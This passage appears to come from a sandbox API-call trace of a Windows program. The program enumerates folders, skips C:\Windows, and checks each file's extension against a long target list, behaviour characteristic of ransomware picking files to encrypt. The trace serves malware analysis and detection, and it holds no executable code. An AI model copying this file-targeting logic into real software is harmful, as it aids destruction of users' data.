ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0079.948] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0079.948] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0079.948] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0079.949] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0079.949] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0079.949] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0079.950] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0079.950] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0079.950] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0079.951] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0079.951] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0079.951] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0079.952] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0079.952] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0079.953] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0079.953] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0079.954] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0079.954] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0079.954] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0079.955] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0079.955] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0079.956] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0079.956] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0079.956] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0079.957] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0080.146] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0080.146] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0080.146] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0080.146] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0080.147] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0080.147] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0080.147] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0080.147] FindClose (in: hFindFile=0x3974370 | out: hFindFile=0x3974370) returned 1 [0081.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39410b0 | out: hHeap=0x5b0000) returned 1 [0081.503] FindNextFileW (in: hFindFile=0x3974270, lpFindFileData=0x340f58c | out: lpFindFileData=0x340f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0081.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv") returned 55 [0081.504] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv") returned 1 [0081.504] lstrlenW (lpString="TextConv") returned 8 [0081.504] lstrcmpiW (lpString1="C:\\Windows", lpString2="TextConv") returned -1 [0081.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39410b0 [0081.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv") returned 55 [0081.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974370 [0081.504] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.504] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0081.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US") returned 61 [0081.504] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US") returned 1 [0081.504] lstrlenW (lpString="en-US") returned 5 [0081.504] lstrcmpiW (lpString1="C:\\Windows", lpString2="en-US") returned -1 [0081.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3f6a098 [0081.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US") returned 61 [0081.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39742f0 [0081.505] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0081.505] FindClose (in: hFindFile=0x39742f0 | out: hFindFile=0x39742f0) returned 1 [0081.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f6a098 | out: hHeap=0x5b0000) returned 1 [0081.505] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0081.505] lstrlenW (lpString="MSCONV97.DLL") returned 12 [0081.505] lstrlenW (lpString=".1cd") returned 4 [0081.505] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0081.505] lstrlenW (lpString=".3ds") returned 4 [0081.506] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1 [0081.506] lstrlenW (lpString=".3fr") returned 4 [0081.506] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1 [0081.506] lstrlenW (lpString=".3g2") returned 4 [0081.506] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1 [0081.506] lstrlenW (lpString=".3gp") returned 4 [0081.506] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1 [0081.506] lstrlenW (lpString=".7z") returned 3 [0081.506] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0081.506] lstrlenW (lpString=".accda") returned 6 [0081.506] lstrcmpiW (lpString1=".accda", lpString2="97.DLL") returned -1 [0081.506] lstrlenW (lpString=".accdb") returned 6 [0081.506] lstrcmpiW (lpString1=".accdb", lpString2="97.DLL") returned -1 [0081.506] lstrlenW (lpString=".accdc") returned 6 [0081.506] lstrcmpiW (lpString1=".accdc", lpString2="97.DLL") returned -1 [0081.506] lstrlenW (lpString=".accde") returned 6 [0081.506] lstrcmpiW (lpString1=".accde", lpString2="97.DLL") returned -1 [0081.506] lstrlenW (lpString=".accdt") returned 6 [0081.506] lstrcmpiW (lpString1=".accdt", lpString2="97.DLL") returned -1 [0081.506] lstrlenW (lpString=".accdw") returned 6 [0081.506] lstrcmpiW (lpString1=".accdw", lpString2="97.DLL") returned -1 [0081.506] lstrlenW (lpString=".adb") returned 4 [0081.506] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1 [0081.506] lstrlenW (lpString=".adp") returned 4 [0081.506] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1 [0081.506] lstrlenW (lpString=".ai") returned 3 [0081.506] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1 [0081.506] lstrlenW (lpString=".ai3") returned 4 [0081.507] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1 [0081.507] lstrlenW (lpString=".ai4") returned 4 [0081.507] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1 [0081.507] lstrlenW (lpString=".ai5") returned 4 [0081.507] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1 [0081.507] lstrlenW (lpString=".ai6") returned 4 [0081.507] lstrcmpiW (lpString1=".ai6", 